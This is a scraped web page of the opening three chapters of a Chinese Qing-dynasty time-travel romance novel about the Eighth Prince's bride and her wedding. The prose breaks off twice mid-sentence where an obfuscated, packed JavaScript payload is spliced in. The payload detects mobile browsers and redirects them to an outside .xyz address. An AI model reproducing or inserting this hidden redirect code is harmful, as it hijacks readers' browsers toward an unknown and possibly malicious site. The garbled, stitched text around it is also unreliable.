《清穿之八福晋日常》 1. 第一章 唢呐一响,不是喜事就是丧。 大红喜字窗花,贴在窗户上,入眼之处布置皆是喜气洋洋。前院迎宾敬酒的喧闹声,透过微开的窗户缝,热热闹闹传进来。 高奇奇对着打磨光亮的铜镜,抿了抿唇间的口脂。唇色明艳,光彩夺目。 “我不嫁!” 高奇奇别过脸,不去看清晰可鉴的梳妆镜。 梳妆镜里,梳着旗髻,头簪红色绒花的女子,并不是她。 “二舅母,我不想嫁。”高奇奇重复道。 顿时,一连串善意的笑声,在屋里层叠起伏的响起。并不把新娘的话,放在心上。 “傻孩子,又说糊涂话了不是。舅母知道你舍不得离家,可女子长大了,总是要出嫁的。上回舅母带你进宫,偷偷瞧了眼八贝勒。你不是还夸他长的俊俏,合眼缘来着。”安郡王福晋神色宠溺,嗔怪着教训不懂事的小辈。 “八贝勒是皇子中脾气最和善的一位,你又是宗亲之女,出身高贵。两人本就有亲,又得皇上指婚,亲上加亲,这是天作之合的好姻缘。圣恩浩荡,不可辜负啊。” 安郡王福晋身子前倾,扶了扶外甥女发髻间插的簪子。 同时,脸也贴近高奇奇的耳侧。 “妙奇,舅母不知道你是怎么想的。但是,前几年你闹也闹过了。选秀之前,硬生生把自己给冻的大病一场,可这指婚,你看你躲过了没有?你再想想,去年被指给镇国公的那位侧福晋,如今是什么下场。” 高奇奇抬头望去,对上安郡王福晋那双气势凌厉的吊梢眼。 能有什么下场。雨天栽倒池塘里,淹死了。 “二舅母,我只是舍不得您们。”高奇奇用力挤挤眼睛,眼眶通红,给自己圆场。 安郡王福晋心头一软,将外甥女搂在怀里,轻轻拍了拍她的胳膊。 “二舅母不是有意吓你,只是你被我们宠坏了,素来任性妄为。可你要记得,抗旨不婚的下场只有一个。况且,八贝勒确实人品贵重,值得仰赖。二舅母和你舅舅,总不会害你的。” 郭络罗·妙奇被接进安王府时,才不过两岁大,话都说的磕绊。当时,安郡王福晋刚怀上孩子,正是母爱泛滥的时候。年幼失怙的外甥女,博得了她初为人母的大半柔软心肠。 郭络罗·妙奇和八贝勒的这场赐婚,安王府是满意的。 且不说八贝勒人品贵重,性情合宜。 单说这订婚宴和婚宴,皇子之间,唯有八贝勒的是两场都办在新娘家。 这是皇上对降了爵位后的安王府,给予的安抚。以及,对安王府势力的忌惮。 因此,他们安王府,不是嫁女,是招了个贵婿。 就这一点,足以让高奇奇嫁进宫后,不低八贝勒一头。 但是,安郡王福晋不知道,她当亲闺女一般养大的外甥女,壳子里的灵魂,已经换了一个。 若是对本土人来说,嫁给性情温柔的皇子,是极好的姻缘。娘家强势,丈夫温柔,这日子很容易过的很好。 可是,高奇奇她不是这片水土养育浇灌长大的人。 她生长在红旗下,接受的是自由平等的教育,贯彻的是自立自强人生准则。 高奇奇不知道自己怎么一觉醒来,就成为了清朝人。 还是历史上那个被康熙和雍正两代帝王骂妒妇、毒妇,最后被挫骨扬灰的八福晋。 在清宫剧和清穿文大行其道的现代,即使高奇奇上学时历史课学的平平,对康雍乾祖孙三代和九龙夺嫡的重要人物,也耳熟能详。 安亲王府、父母双亡、姓郭络罗,八福晋之位舍她其谁。 这令她无比恐慌。 皇家再富贵迷人眼,脚下垫的也是尸骨累累。一不小心行差踏错,便是坠入无底深渊。 穿越三年,靠着残缺的记忆,高奇奇小心翼翼模仿郭络罗·妙奇的言行举止,暗自寻找穿越时空的办法。 并想尽办法阻止赐婚的出现。 然而,命运就是命运,不可更改。 今日的景象,便是最显而易见的结果。 “娶亲太太来了。” 一声叫喊,门紧随其后被打开,两位身着红色绣花衣裳、套着大红补褂的贵气妇人,一前一后笑盈盈的进来。 娶亲太太一来,就没有娘家人的事了。 “别怕,有舅母和你舅舅给你撑腰。莫要忘了,你是安王府嫁出去的姑娘,谁想要得罪你,得先掂量掂量自己够不够格。真要有不长眼的,你尽管处理。凡是你处理不了的,还有舅舅、舅母。”安郡王福晋见缝插针的,飞速在外甥女耳边道。 虽然,外甥女爱胡闹了些,但是平日里孝敬长辈,又嘴甜会哄人,活泼可爱的,她是真心疼爱。 眼见着马上要出门了,安郡王福晋心里万分舍不得。 “妙奇啊,二舅母舍不得你出嫁啊。”安郡王福晋说哭就哭,眼泪滚烫留下脸颊。 “二舅母,外甥女以后不能在您膝下孝顺了,还请您保重身体。”高奇奇配合的哽咽着。 她不是不识好歹的。 就冲她做出生病躲避选秀的事,安王府上下帮忙遮掩,却不曾责怪过她,她就得念这份恩。 “新娘子可不兴哭,这么漂亮的妆,花了多可惜啊。来,披上轿袄,盖上红盖头,您该准备上轿了。” 一个娶亲太太拿了件颜色略旧的大红绣凤纹薄袄,给高奇奇裹上,同时打断她酝酿的哭意。 厚实的棉袄一上身,高奇奇后脖颈立马热的直冒汗。 京城旗民成婚的旧俗,新娘出嫁披长辈出嫁时所穿的轿袄。轿袄穿过的人越多,福气越大。 高奇奇身上这件,是安亲王福晋,也就是安郡王福晋的婆母,郭络罗·妙奇的嫡外祖母出嫁时穿过的。 这件轿袄,在外人看来,福气深厚。 在高奇奇看来,她是穿的真厚。 得亏是还没到五月,现在又是晚上,她还能扛得住这热烘烘的祝福。 高奇奇眉头微微一皱,安郡王福晋立马看出来,这孩子嫌轿袄厚,热着不耐烦了。当年她出嫁时,也是如此。 刚刚才闹了一通,可经不住再闹了。 安郡王福晋给另一位娶亲太太使眼色,娶亲太太瞬间领悟,赶忙把手里的红盖头,往新娘头上一盖。 绣着吉祥纹样,四角垂着穗子的红盖头,遮住了高奇奇的视线。 像是给龇牙咧嘴的僵尸,贴上一道符。符贴上,就安静了。 安郡王福晋松了口气,只盼今日的婚礼能顺顺利利走完。 安王府大门外,传来响亮的叫门声。 “姑奶奶们,开门吧。我们来接新娘子了。” “凭什么开啊?先吹首好听的曲子来听听。”这是门里的回应。 迎亲队伍带来的吹鼓手,熟练的吹响喜庆的曲子。 几番来回后,门终于从里面打开。 安王府的下人们,手捧着喜盘,上面堆着铜钱,一抓一大把的往外撒出去。鞭炮声,噼里啪啦,不绝于耳。 旗人成婚,最注重的就是排场大。 安王府嫁女,皇家娶媳,喜钱撒的那叫一个源源不断,同喜同乐。 高奇奇垂着眼眸,盯着自己鞋上的绣纹,快瞅出个花来了。外头的声音,她听不太清楚。偶尔几声旋律激昂的锣鼓和唢呐声,给她提神醒脑。 锣鼓喧天声中,高奇奇被扶上了喜轿。 手执牛角灯的九十六名执事,列成两列,分作四十八对,站在最前面,如两条火龙在街道游动。后头还有数百人,手里拿着各样物件,喜轿抬在最中间。 气派的娶亲队伍,徐徐前行,一路上吹吹打打,热闹至极。 张灯结彩的安王府,距离大红喜轿越来越远,慢慢的倒退为一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656362|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑点,被吞没在黑暗里。 “八哥,快,射箭了。天黑灯照着不够清楚,你箭头搭稳点儿,别飞到轿子里,吓着我八嫂了啊。” “九弟。” “好好好,我闭嘴。八哥素来箭术精准,必然不会失误。” 激扬快活的青年声音,一听便知,是个性情活泼的年轻人。没经过社会毒打的那种。 被轿子摇的昏昏欲睡,天刚亮就醒,天黑还坐在轿子里的高奇奇,困倦松懈的神经,猛然绷紧,双目瞪圆,炯炯有神。 这时候可不能出岔子。 既来之则安之,这条路既然改不了,那么她会好好走下去的。 “福晋,莫怕。我不会出错的。”略微低沉的嗓音,像它的主人一样,谦和温柔又足够自信。 箭矢撞在轿门边落下,三声之后,轿帘掀开,从轿子外递进来一个苹果,伸进新娘的红盖头下。 高奇奇轻轻咬下一小口,苹果味儿还没尝出来,就被拿走,换作一个宝瓶塞到手上。 一天没有进食,再抱上分量不轻的宝瓶,高奇奇猛然站起来后,一阵头晕目眩。 即便有人扶着走出喜轿,还是脚步踉跄了一下。 “小心。”旁边迅捷的伸出一只手,稳而有力的托住高奇奇的胳膊,扶稳她的身形。 “谢谢。”高奇奇嗓子发紧的感谢道。 “八贝勒,新娘这里有我们在,不会出事的,您放心吧。”从安王府一路跟着进宫的娘家表嫂,笑吟吟道。 “劳烦表嫂和表姐照顾我福晋。”八贝勒胤禩温和有礼道。 隔着红盖头,对外界状况无法掌控的高奇奇,听着耳边窸窸窣窣的促狭笑声。 脸滚烫发热,不知道是羞臊的,还是被闷热的。 “妙奇妹妹,我扶稳你,你把力道往我身上卸点儿,好走的轻松些。不用怕,只用走几步路。”安王府的表嫂声音温柔道。 喜轿就停在新房前,表嫂没有说假话,统共没走几步,高奇奇就跨过一道门槛,到了新房里。 她能感觉到,在旁边有人和她同时跨着门槛。 那个人应当就是她的夫婿——八贝勒。 踏进门后没走几步,安王府表嫂扶着高奇奇,站定脚步,不再往前走。 八贝勒看着被红盖头遮住的新娘,笑容愈发温柔。 他曾在安王府的后花园连廊,远远见过他的福晋一面。当时,她穿着簇新的石榴红花蝶斜襟袍褂,热烈的如同一团火,拿着团扇满院子的追着蝴蝶跑。 他控制不住的,一双眼睛无礼的追随着她,从院子这头到那头。 她好不容易扑到一只蝴蝶,他比她先高兴的笑出来。 那只蝴蝶被她捉走,他的心也跟着被捉走了。 新房外间的天地桌前,八贝勒一身大红绣团龙喜服吉袍,气宇轩昂,站在高奇奇的左边。 “新人叩拜天地。” 高奇奇晕乎乎的听着指令,在天地桌前叩拜天地。 八贝勒则满是虔诚的叩首,许下与身边之人的百年白首之约。 叩拜完天地,新人移步新房里间,并排坐在喜床之上。 “新郎挑红盖头了!” 红盖头挑起,高奇奇眼前终于一亮。 还不等她仔细打量自己的新郎官,她就像木偶娃娃一样,被娘家表嫂摆弄着,调整坐姿,盘腿坐好。 旁边的八贝勒也是一样。 “二位新人请安坐!” 床帘放下,一片黑暗。 高奇奇紧紧攥住拳头,紧张的吞了口口水,难道洞房花烛夜就这么开始了? 她连人脸都没看清,太仓促了吧! “我不……”高奇奇反抗道。 “嘶,福晋,婚礼仪式还没结束。”八贝勒感受到手腕的刺痛。 成婚第一天,福晋攥紧了他的手腕,力气很大。 2. 第二章 高奇奇心虚的收回手,她一激动,就对新郎官用上了擒拿手。 真是怪不好意思的。 扯下帘子后的喜床,变成漆黑一片的狭窄空间。 一帘之隔的外面,萨满吟唱着听不懂的语言,十分玄妙。 高奇奇感觉此刻她不是在成婚,而是在被超度。 不能说话,不能挪动,高奇奇默默闭上眼,陷入沉思。 她是造了什么孽啊,要来这个封建王朝的时代。如果神佛有灵,还是把她送走吧。 唰的一下,床帘打开。 明亮的灯光,刺的高奇奇眼睛直流泪,外间的萨满还在摇铃,好似在说:呔,妖精,现出原形! 高奇奇深吸一口气,看来这位萨满本事一般,没发现她壳子和内里,货不对板。 真是让人失望。 高奇奇不耐的小动作,安王府表嫂一眼就注意到。 甚至是之前帐帘后八贝勒的那声痛呼,她也听见了的。 装聋作哑,平平安安。 安王府表嫂稳重的,将手中酒杯递到高奇奇嘴边, 男方家眷有样学样的,手拿着酒杯递到八贝勒嘴边。 “新郎新娘喝合卺酒。” 红唇沾上酒液,饱满的唇瓣,水润润的,让人想要一亲芳泽。 八贝勒一不小心,心情激荡之下,一杯酒喝的只剩杯底一层。 合卺酒是要新郎、新娘交换着喝的。 这杯酒都快被新郎喝干了,新娘还喝什么? 男方家眷歉疚的看向安王府表嫂,表嫂端庄一笑。 这样很好,新人两边都出了差错,谁也不好说谁,扯平了。 “新郎新娘请吃子孙饽饽。” 合卺酒送下去,又端上来一盘半生不熟的袖珍饺子。 高奇奇微微一笑,她准备好了。 吃一口饺子,说一声“生”。为了饺子,她愿意说十八声“生”。 现实无情的打破了高奇奇的幻想。 新郎新娘一人一口饺子,舌头还没尝出来味道,饺子已经下了肚。 门外的童子,声音稚嫩又响亮的喊道:“生不生!” 八贝勒含笑看着高奇奇,大声回答着门外的问题:“生!” “好嘞,八哥说生!祝八哥、八嫂,早生贵子!” 高奇奇没了用武之地,也不能用“生”换饺子填饱肚子。 好在撤了饺子,还有龙须面。 撤了龙须面,还有烤全羊。 高奇奇一样吃了一口,哪怕量勺,肚子里好歹不是空落落的了。 但是,没有人告诉她,不仅吃的会撤走,新郎也会撤走啊。 这样重要的事情,安郡王福晋当然是说了的,只怪高奇奇自己没听。安郡王福晋当时见她走神,也没有多说。婚礼时,有人在旁引导着流程,记不记得都无妨。 高奇奇瞪大着眼睛,望着落在最后的新郎背影。 她直纳闷,怎么?连新郎都不给她留下吗?洞房花烛夜,她一个人来动? 高奇奇敲了敲脑袋,她想起来了。 她得“坐财”。 不吃不喝不能下地,保持盘坐姿势不动,新娘一个人在喜床上坐一整夜。 这不是坐财,这是要索新娘的命吧。杀威风杀的好生厉害。 高奇奇冷笑一声,直挺挺往后一倒,人仰躺在床上。 人都走完了,管它什么规矩。 不装了。这个财谁爱坐谁坐,她要补觉保命! 暗哑的轻笑声,在高奇奇脸上方响起。 高奇奇平静到如同已经安息的脸,瞬间僵住。 被抓包了。 “福晋,是我。”八贝勒满眼笑意的看着高奇奇,原来福晋还有这样可爱的模样。 “旗人成婚的规矩,是祖上传下来的,婚礼由内务府和礼部操办,我无法去改。不过,给福晋递一些肉脯、点心,还是能做好的。我让人在桌边放了一壶茶水,还有……” 八贝勒顿了顿,微红着脸,强作镇定的继续说道:“屏风后面有可以更衣的地方,福晋若是不适,不必忍着。明日有人来清理,不会被发现。” 高奇奇在他声音停顿的时候,猛的睁开眼睛。 四目相对,一个人眼神害羞躲闪,一个嘴角噙着笑十分大胆。 高奇奇是那个大胆的。 她肆无忌惮的打量着八贝勒的样貌。 离上次她躲在屏风后面偷瞧人时,大约过了一年时光。这一年里,八贝勒长的更好看了,五官更加成熟立体,少了些青涩。 八贝勒被看的不好意思,却又喜欢她大胆爽朗的样子,盼着她再多看会儿自己。 他今日打扮的很英俊,眉毛修了,施了薄粉,很经得住细细打量。 “我记下了,贝勒爷很是体贴。”高奇奇盈盈一笑道。 这一笑,笑的八贝勒慌了神,心里小鹿乱撞。 “福晋叫我胤禩就好。”八贝勒羞涩不已,他和福晋说上话了。 八贝勒久就在新房内不出来,外面开始有些躁动,催促声隔着门窗断断续续的传进来。 “外面的流程还在等着继续进行,请福晋莫怪。今日福晋辛苦了,明日我端茶倒水,再向福晋道谢。”八贝勒弯腰赔礼道。 不等高奇奇回答,他转身匆匆往门外赶去,可见时间确实紧。 高奇奇歪头看了看放在她手边的两个荷包,装的鼓鼓囊囊的,生怕她吃不饱饿着。 是个温柔又体贴的实在人啊。 “胤禩,多谢啦!你真好!”高奇奇望着快走出隔间的挺拔背影,提高声音道。 胤禩顿时脚步凌乱了一下,随后夺门而出,背影说不出的慌乱。 高奇奇笑出声。 堂堂皇子阿哥,也会这样害羞的吗? 好似是没有听说八贝勒后院有通房、侍妾之流。若真是干干净净的,那可是颇为难得。 不用一见面就洞房,高奇奇松了好大一口气。 这么一想,坐财也挺好的,起码有个缓冲。 高奇奇拿起两个荷包,仔细瞅了瞅,坚定打开装着肉脯的那个。 胤禩一出来,九阿哥立马凑上前去。 “八哥终于出来了?你再不出来,有些人就要催着四嫂进去打探情况了。”九阿哥眼神往一边瞄着,颇有深意道。 胤禩笑若春风,肉眼可见的心情明媚。 “福晋一个人留在新房里,我担心她会害怕,便多和她说两句话,宽慰她的心情。”胤禩解释道。 “原是如此。历来旗人成婚的规矩都是这般,不会有事的。想来成婚前,礼部官员和教养嬷嬷已经教过八弟妹,八弟不用过于担心。”四贝勒就是胤禟说的那个“有些人”。 “四哥,八哥关怀八嫂还有错了?规矩是规矩,人情是人情。我八哥为人体贴,八嫂真有福气!”九阿哥骄傲道。 “九弟,你性子跳脱,又素来脸皮厚,不怕被责罚。八弟和你不一样,你莫要怂恿他在大婚的日子,坏了规矩闯了祸。”四贝勒正直又古板道。 九阿哥撇撇嘴,没回嘴。 四哥对八哥,就像是护犊子的老母鸡一样。谁让八哥有一点儿不好,他就炸毛的乱啄人。 四哥也不想想,八哥今日都大婚了。还当他们是十几年前被孝懿皇后抚养,住在景仁宫的大小阿哥呢! 这么事无巨细的管着八哥,迟早要出岔子。 不像他,他什么都听八哥的。 九阿哥伸着胳膊,搭上胤禩的肩膀。 “八哥,走,我们去喝酒去。八哥大婚的喜酒,我得喝到够。”九阿哥道。 “好,酒水哥哥管够!”胤禩大手一挥,高高兴兴道。 “四哥,今日不醉不归。”胤禩回头对四贝勒道。 四贝勒表情柔软:“好,不醉不归。” 兄弟间,最较真的人,就是四贝勒。 九阿哥和十阿哥碰头一商量,又去大哥直郡王那儿晃了一圈,四贝勒很快被灌醉了。 望着醉倒趴在桌上,手里还握着酒瓶子的四贝勒,九阿哥得意的叉腰一笑。 他才不承认,他是故意报复四哥在众人面前给他没脸。 他怎么就皮厚了! “八哥,这么晚了,赶紧回去歇歇吧。明日你还要和八嫂一起行喜礼,听着流程就累的很。这儿有我和十弟给你招待着,保管宾主尽欢。”九阿哥道。 直郡王也走过来,拍拍胤禩的肩:“八弟也长大了,成人娶亲了。回去吧,我帮你盯着九弟和十弟,不会让他们喝太多闹事的。” 长兄显然比年纪小的弟弟们,靠谱一些。特别是有过成婚经验的长兄。 胤禩倒是不急着休息,但是他确实心不在这里。 “麻烦大哥了。” “九弟,多谢。” 皇子们齐聚的大厅,一直热闹着,酒水不断。 新房里的高奇奇嚼了两口肉脯,又喝了一口水,穿着衣服沉沉睡去。 这一天太累了,累到连饥饿都可以被忽略不计。 睡梦之中中,笃笃笃的敲窗上,扰的她睡不安稳。 “谁呀?大半夜的,扰人清梦!初一,你去看看。”高奇奇皱着眉头,想要拉过被子,盖住头顶。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656363|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手摸了摸,没有被子。 也没有侍女初一的回应。 高奇奇瞬间清醒,耳边的笃笃声,还在不断的响着。 高奇奇心脏紧缩了一下,深更半夜,又是紫禁城,不回是鬼敲门吧。 屋子里的烛光,忽然一抖。 大红色的屋子,在光线不明中,更加有中式恐怖感。 “福晋,是我。”胤禩敲了好久的窗户,都没得到回应。 他心想着,如若这一声后,福晋还不回他,他就蹲在窗户底下,隔着墙陪福晋一夜。 额娘说过,女孩儿胆小怕黑。哪怕喜房里点着蜡烛,但是孤身一人在陌生的地方过夜,肯定会害怕的吧。 高奇奇表示,真没有。 睡意可抵挡一切。 “胤禩?”高奇奇小声问道。 “是我。福晋,你刚才是睡着了吗?我是不是打搅到你了。我在第三个窗户底下。”胤禩报出自己的方位。 高奇奇数着窗户走过去,从里将窗户打开一条小缝隙。 隔着窗户缝,胤禩对着她一阵傻笑。 高奇奇吸吸鼻子,好重的酒味。 罢了,一个醉鬼,不和他计较。 “你来做什么?难道这也是大婚的习俗?”高奇奇道:“蹲墙角?” 胤禩没有醉,他喝一半,一半把酒倒在袖子里藏的帕子上。 他望着高奇奇,眼睛亮晶晶的。 “我来陪你看星星。”胤禩道。 高奇奇把窗户缝支开的更大了些。 她探头观望了一下,这个位置是个视觉盲区,真聪明,找了这么个好地方。 既然没有人来,索性就把窗户完全打开,透透气。 高奇奇支起胳膊,上半身探出窗台。 天上的星星,一闪一闪的,密布在整个深蓝色幕布上,星河璀璨。 “好看吗?”胤禩坐在地上,背靠着墙角。 高奇奇托着腮,道:“好看。” 星河流转,风声虫鸣,黑夜变得不那么可怖了。 胤禩从坐在墙角,到慢慢往下滑。 高奇奇轻笑一声:“醉鬼。” “我没醉。”胤禩声音含糊不清。 “醉了的人,都说自己没醉。”眼见着人就要完全平躺在地上,高奇奇大半个身子都要从窗户探出去。 “别睡着了,外面地凉,你到屋子里来睡吧。”高奇奇用力够着手,才戳到胤禩的头。 天光大亮,门口传来窸窣声。 高奇奇惊慌的跑回床边,用力扯着胤禩的脸。 “快醒醒,外面来人了。”高奇奇嫌扯的不够用力,又拍拍他的脸。 声音清脆,一听就是好脸。 门被打开,隔着外间和里屋之间的屏风,门口的人疑惑的揉了揉眼睛。 她好似看到有一道人影,从屏风后飞过去。 应该是昨晚没休息好,眼花了吧 “八弟妹,我们来为你梳新妇妆了。”四福晋笑盈盈走进来。 宫女、嬷嬷们紧随其后,手里捧着东西,鱼贯而入。 吧嗒一声,好似是窗户合上的声音,在安静的喜房里格外明显。 迎着四福晋的眼神,高奇奇满眼无辜。 她很乖的,在喜床上坐了一夜,腿都盘酸了。 什么?刚才有声音?她不知道啊。 她都没下过床呢! “四嫂,我可以下床了吗?”高奇奇甜笑着询问道。 她指了指自己的腿,鼓着腮帮子,撒娇道:“腿都麻了。” 四福晋收起心里疑惑,和气道:“辛苦八弟妹了。嬷嬷,给八福晋先揉一揉腿,活络一下筋脉。” “多谢四嫂。”高奇奇道。 “劳烦嬷嬷了。”高奇奇又道。 开脸、化妆、梳头,再换上吉服补褂,穿上高底鞋。 昨儿之前还是扎着姑娘辫子,今日之后就只能作已婚妇人的打扮。 高奇奇盯着铜镜望了许久,这么一打扮,更不像她自己了。 高奇奇冲着镜子咧嘴一笑,表情生动,是不受规训的灿烂热烈。 看,她还是她,里子没变。 “八弟妹相貌着实出色,明艳出彩。这一笑,将这屋子都照的更加亮堂,熠熠生辉。”四福晋端详着镜中女子,真心实意感叹道。 “四嫂端庄大方,我初为人妇,第一次当皇子福晋,以后还要请四嫂多多教导。”高奇奇道。 四福晋莞尔一笑:“八弟妹说话真是有趣。我家爷与八弟兄弟感情甚笃,你我之间定然要多多走动,谈不上教导。” 3. 第三章 身着石青色吉服袍,头戴钿子,颈挂朝珠,一身贝勒福晋规制的吉服打扮,高奇奇昂首挺胸踏出新房房门。 她终于出来了! 胤禩独身伫立在走廊下,眼眸含笑,翘首企盼的面向新房大门。 见到来人,他眼睛瞬间欢喜亮起。 “福晋安。”胤禩三步并两步的迎上前,眼中笑意深深。 仔细观察,他身上还带着一点儿刚沐浴完的水汽味道,发尾也是湿的。 高奇奇眉眼一弯,看到他心情也很好。 或许,是因为昨晚的星空太美。 “贝勒爷安。” 阳光之下,穿着同色系蟒纹吉服袍的男人,长身而立,面美如玉。温柔带笑的眉眼,如三月春风吹拂,扰的人心湖荡漾。 “既然八弟来了,我们就功成身退了。”四福晋把高奇奇的手放到胤禩手中,托付道:“八弟,八弟妹交给你了。” 四福晋带着宫女、嬷嬷们,从走廊另一端离开。 “四福晋,奴婢方才在新房里,闻到了好重的酒味。”到了无人处,四福晋的宫女小声疑惑道。 四福晋神色肃穆的看向她,甚是威严。 “昨夜交换合卺酒时,洒了一些在喜床上。你鼻子倒是灵。这样的话,你莫要再说,免得惹出风波。”四福晋道。 “奴婢不敢。”宫女道。 胤禩握上了高奇奇的手,就没打算放开。 他有些害羞,但是眼神真挚的看着高奇奇的新装扮。 “福晋这样打扮也很好看。”胤禩道。 高奇奇礼尚往来的夸回去:“爷今日的打扮,很是威严贵气。” “你跳窗的时候,没有摔到吧?”客套完了,高奇奇手掩住嘴,往胤禩身边靠去,小声问道。 她靠的那么近,头发上抹的蔷薇发油香味,一缕一缕的,像小钩子一样,勾着胤禩的心。 胤禩的耳朵尖,染上一抹红色。 “没有。实在没想到昨儿的酒那么烈,明明少喝了,还是醉了过去。让福晋担惊受怕了。”胤禩歉意道。 高奇奇挑眉笑道:“我是那样不识好人心的人吗?我既不胆小,也懂得珍惜别人的心意。” 胤禩眉眼俱笑,满是欢喜。 他更加用力的握着高奇奇的手,恨不得把人融到自己的身体里。 但是,又惶恐太用力,伤到了高奇奇。于是,又立马松了手劲。 “福晋的靴子跟高,今日要走的路很远,有些地方路不平坦,可能会有磕绊。不过,我会扶好福晋的,不会让福晋跌跤。”胤禩眼眸专注的望着高奇奇。 高奇奇却扭过头,她站在台阶上,眺望着蜿蜒曲折,一眼望不到头的幽长宫道。 “好,那你要保护好我。”高奇奇回过头,与他四目相对。 “我会的。”胤禩立下承诺。 不论是眼前的路,还是未来人生的路,他都保证会保护好她,不令她受委屈,不让她受伤。 两人交叠的手指,默契的换成十指相扣。 夫妻一体,荣辱与共,紧密相连。 胤禩满脸洋溢着愉悦的笑容,一看就知是新婚大喜的人。 皇子大婚后,行喜礼的规矩是,先去太后宫里,向太后行礼。 新房到宁寿宫的距离,不可谓不远。 哪怕穿着平底鞋,走起来都要走一半歇一半。 但是,在皇权的威胁下,高奇奇愣是穿着六厘米高的厚底靴子,穿过一条条宫道,毫不停歇的走到宁寿宫。 跨进了宁寿宫的大门,里面还有不短的一段距离。 胤禩和高奇奇站在丹壁下,等候太后传召。 没让两人久等,大约只是来回传话的功夫,他们就被宣进去了。 一进正殿,二话不说,胤禩和高奇奇先行礼。 满人行礼时,女子稍微占便宜些。 胤禩站在前面,高奇奇站在后面,他们要向太后行三礼。胤禩的三礼,是三跪九叩之礼。一跪三叩,头和膝盖,不知道哪个磕的更疼些。 高奇奇则是蹲安两次,再加叩礼一次,重复行三次,也就是六次蹲礼三次叩礼。这么行礼,怪伤膝盖的。 即便高奇奇的行礼,比胤禩的简单些,她站起身时,还是没站稳的小小晃了一下。 太后是位真正慈和的老人,即便高奇奇的礼,行的并不是格外的妥善,她也是笑眯眯的,没有责怪。 孩子尽力了,又用心了,有什么好苛责的。 而且,论起来太后和高奇奇是连着亲的。 太后的母亲和郭络罗·妙奇的外祖父,也就是故去的安亲王岳乐是嫡亲的兄妹。所以,岳乐是太后的亲舅舅。 要不然,安郡王福晋怎么会说,她这外甥女的出身很好。 不论父族还是母族,都和爱新觉罗家联姻紧密。仔细攀扯起来,郭络罗·妙奇身体里爱新觉罗家的血脉,甚至比胤禩还要多些。 当然,攀关系不能这么去攀。 太后嫁给了世祖爷,郭络罗·妙奇嫁给了当今八皇子,她们就要按照爱新觉罗家的宗族关系去论。 但是,血缘关系让太后对在安王府长大的八孙媳,天然的多一份好感。 “快起来吧。嬷嬷,扶八福晋坐下。”太后慈祥的说道。 等看着嬷嬷扶起高奇奇,太后道:“胤禩也坐。” 小夫妻二人坐在一块儿,登对的好相貌,交相辉映,更加好看。 太后左看看,右看看,看的十分满意。 “多俊的一对孩子啊,合该结为连理的。瞧着就让人舒心。”太后夸道。 太后的眼神,十分温暖,语言又直白,夸的高奇奇和胤禩都羞的低下了头。 “女子较之男子多有不易,皇家儿媳更是难做。胤禩你要多疼惜你福晋,可知道?”太后道。 胤禩起身恭敬道:“孙儿一定对福晋敬之爱之惜之。” 太后点头满意不已:“你的性情,哀家是最放心的。” “胤禩在前朝忙碌,为皇帝为朝廷办事,多有烦忧。孙媳你要替他打理好后院内务,莫要让他分心。”太后道。 高奇奇起身,脆声道:“孙媳一定做好贝勒爷的贤内助,让贝勒爷可以一心忙于朝政,无后顾之忧。” 大大方方的爽利表现,格外合太后的眼缘。 太后笑的愈加慈蔼:“都是好孩子。嬷嬷,将哀家准备的一对金镶玉如意、一对玉镯拿过来。另外,把哀家妆奁里的金镶珊瑚项圈也拿过来。” 显然,是太后见了高奇奇后,对她喜爱,临时添上的金镶珊瑚项圈。 太后给的见面礼端上来,玉如意和玉镯自是不必说,都是难得一见的佳品,但是也是每个皇子福晋初次来见礼时,都会有的。 令人惊艳的,是那枚金镶珊瑚项圈。 橙红色的珊瑚,搭配富贵华丽的黄金,再加上宫廷内造的精湛工艺,美轮美奂。 高奇奇捧起金项圈,在锁骨前比划着。 “皇玛嬷,您看孙媳戴这个金项圈,是不是比现在戴的这个更好看?”高奇奇显摆道。 太后眯着眼睛,认真看了看,高兴的抚掌道:“好看,就该是你的。红色衬你的皮肤,下回给哀家请安的时候,搭一件颜色鲜亮的衣服,再戴给哀家看看。” “好。孙媳一定挑一件花开富贵的衣裳,再配您赏的金项圈。”高奇奇道。 高奇奇深谙如何让长辈开心,她几句话,哄的太后快把她当亲孙女待了。 要不是接下来还有行程,再让她在宁寿宫坐一会儿,不知还能拿走太后多少好东西。 从宁寿宫出来,高奇奇还有些依依不舍。 “陪皇玛嬷说话真开心,我喜欢皇玛嬷。”高奇奇直抒心意。 胤禩有些心酸,他又是送肉脯,又是看星星的,都没能听到福晋一声喜欢。他道阻且长啊。 “是你讨人喜欢。皇玛嬷也不是每一个孙媳都这么喜爱的。”胤禩道。 高奇奇好奇的睁大眼睛,准备侧耳倾听。 胤禩笑道:“等回去后,再慢慢告诉福晋。” 高奇奇赞同不已:“也是,这里不是听八卦的好地方。” 行喜礼的下一站,就是康熙的乾清宫了。 康熙已经等在乾清宫,见八儿子领着八儿媳携手而来,远远看去就身形般配的很,走进一看,更是一对璧人。 颜控属性拉满的康熙,满意的直点头。 这个婚事,他指的好。 再一看去,高奇奇的宫女,手里捧着满当当的赏赐,康熙更满意了。 能让太后喜欢,就是个孝顺的好孩子。 康熙自己孝顺,所以格外的偏爱孝顺的人。 有过一次行礼经验的高奇奇,一回生二回熟。 她标标准准的向康熙行完三次礼,稳稳的站起身。 康熙手一挥:“ 